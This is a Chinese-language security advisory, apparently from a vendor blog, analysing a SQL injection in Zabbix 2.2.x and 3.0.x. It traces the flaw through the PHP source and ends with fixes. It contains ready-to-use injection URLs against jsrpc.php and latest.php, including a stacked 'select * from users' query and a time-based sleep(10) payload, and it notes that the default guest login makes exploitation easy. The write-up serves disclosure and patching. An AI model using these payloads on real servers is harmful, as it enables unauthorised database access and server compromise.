漏洞影响范围
凡使用Zabbix2.2.x、3.0.x 的网站(在3.0.4版本中已修复)可能导致敏感数据泄漏、服务器被恶意攻击者控制进而造成更多危害等。
Zabbix简介
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。
漏洞原理
该漏洞于8月12日由安全研究员 1N3@CrowdShield 和 Brandon Perry 负责任地披露于 Full Disclosure
两人都在邮件中公开了 PoC,如下:
虽然是两个触发点,但注入流程和关键要点均为调用 CProfile 中的 insertDB 方法导致注入,所以可以归为同一类型的漏洞,Brandon Perry 也在邮件里指出
“I actually ended up finding this vuln in a different vector (in the profileIdx2 parameter)”
不过有区别的是,latest.php 在注入时需要一个高权限帐号,而 jsrpc.php 则只需要 guest 帐号。
由于 zabbix 默认开启 guest 且密码为空,所以利用难度较低,但绝不是其他文章中所说的不需要登录。
注入流程
jsrpc.php:182→CScreenBuilder::getScreen()→CScreenBase::calculateTime()→CProfile::update()
→page_footer.php:40→CProfile::flush()→CProfile::insertDB()→DBexecute()
在漏洞文件jsrpc.php中:
$requestType = getRequest('type', PAGE_TYPE_JSON);
if ($requestType == PAGE_TYPE_JSON) {
$http_request = new CHttpRequest();
$json = new CJson();
$data = $json->decode($http_request->body(), true);
}
else {
$data = $_REQUEST;
}
$page['title'] = 'RPC';
$page['file'] = 'jsrpc.php';
$page['type'] = detect_page_type($requestType);
require_once dirname(__FILE__).'/include/page_header.php';
if (!is_array($data) || !isset($data['method'])
|| ($requestType == PAGE_TYPE_JSON && (!isset($data['params']) || !is_array($data['params'])))) {
fatal_error('Wrong RPC call to JS RPC!');
}
$result = [];
switch ($data['method']) {
...
case 'screen.get':
$result = '';
$screenBase = CScreenBuilder::getScreen($data);
if ($screenBase !== null) {
$screen = $screenBase->get();
if ($data['mode'] == SCREEN_MODE_JS) {
$result = $screen;
}
else {
if (is_object($screen)) {
$result = $screen->toString();
}
}
}
break;
...
require_once dirname(__FILE__).'/include/page_footer.php';
通过类 CScreenBuilder 中的 getScreen 方法处理 $data 传入的数据。继续跟踪 CScreenBuilder 类:
/**
* Init screen data.
*
* @param array $options
* @param boolean $options['isFlickerfree']
* @param string $options['pageFile']
* @param int $options['mode']
* @param int $options['timestamp']
* @param int $options['hostid']
* @param int $options['period']
* @param int $options['stime']
* @param string $options['profileIdx']
* @param int $options['profileIdx2']
* @param boolean $options['updateProfile']
* @param array $options['screen']
*/
public function __construct(array $options = []) {
$this->isFlickerfree = isset($options['isFlickerfree']) ? $options['isFlickerfree'] : true;
$this->mode = isset($options['mode']) ? $options['mode'] : SCREEN_MODE_SLIDESHOW;
$this->timestamp = !empty($options['timestamp']) ? $options['timestamp'] : time();
$this->hostid = !empty($options['hostid']) ? $options['hostid'] : null;
// get page file
if (!empty($options['pageFile'])) {
$this->pageFile = $options['pageFile'];
}
else {
global $page;
$this->pageFile = $page['file'];
}
// get screen
if (!empty($options['screen'])) {
$this->screen = $options['screen'];
}
elseif (array_key_exists('screenid', $options) && $options['screenid'] > 0) {
$this->screen = API::Screen()->get([
'screenids' => $options['screenid'],
'output' => API_OUTPUT_EXTEND,
'selectScreenItems' => API_OUTPUT_EXTEND,
'editable' => ($this->mode == SCREEN_MODE_EDIT)
]);
if (!empty($this->screen)) {
$this->screen = reset($this->screen);
}
else {
access_deny();
}
}
// calculate time
$this->profileIdx = !empty($options['profileIdx']) ? $options['profileIdx'] : '';
$this->profileIdx2 = !empty($options['profileIdx2']) ? $options['profileIdx2'] : null;
$this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true;
$this->timeline = CScreenBase::calculateTime([
'profileIdx' => $this->profileIdx,
'profileIdx2' => $this->profileIdx2,
'updateProfile' => $this->updateProfile,
'period' => !empty($options['period']) ? $options['period'] : null,
'stime' => !empty($options['stime']) ? $options['stime'] : null
]);
}
CScreenBuilder 类对 $profiles 进行了更新,并且对 PoC 中的 profileIdx2 参数进行了赋值,但还没有传入数据库查询。
漏洞文件 jsrpc.php 中引入了 page_footer.php, page_footer.php会调用Cprofile 类:
if (CProfile::isModified()) {
DBstart();
$result = CProfile::flush();
DBend($result);
}
跟踪 flush 函数:
public static function flush() {
$result = false;
if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {
$result = true;
foreach (self::$insert as $idx => $profile) {
foreach ($profile as $idx2 => $data) {
$result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
}
}
ksort(self::$update);
foreach (self::$update as $idx => $profile) {
ksort($profile);
foreach ($profile as $idx2 => $data) {
$result &= self::updateDB($idx, $data['value'], $data['type'], $idx2);
}
}
}
return $result;
}
...
private static function insertDB($idx, $value, $type, $idx2) {
$value_type = self::getFieldByType($type);
$values = [
'profileid' => get_dbid('profiles', 'profileid'),
'userid' => self::$userDetails['userid'],
'idx' => zbx_dbstr($idx),
$value_type => zbx_dbstr($value),
'type' => $type,
'idx2' => $idx2
];
//注入触发点
return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
}
至此,SQL注入产生。
验证PoC(Poc仅供学习交流使用,请勿恶意使用)
需要高权限用户
/latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1
需要guest用户
/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
然而 Brandon Perry 给出的这个 PoC 并不好用,在关闭 display_errors 的环境下看不到效果,建议使用一个 sleep 函数,如果页面阻塞很久才返回,那说明漏洞是存在的,新的 PoC 如下:
/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2-sleep(10)&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
修复方案
升级到3.0.4
patch link: [https://support.zabbix.com/browse/ZBX-11023](https://support.zabbix.com/browse/ZBX-11023)
过滤参数
使用 intval 函数过滤 CProfile::insertDB 中的 $idx2 变量。
关闭guest用户功能(仅为临时解决方案)。
参考来源
http://seclists.org/fulldisclosure/2016/Aug/60
http://seclists.org/fulldisclosure/2016/Aug/79
http://www.cnbraid.com/2016/08/18/zabbix303/
长亭科技在追踪到漏洞的第一时间已紧急通知客户,并将漏洞相关内容添加到长亭谛听内网感知系统中,欢迎点击“阅读原文”申请长亭谛听内网威胁感知系统。
扫码关注长亭科技
获取更多安全信息
封面图来自网络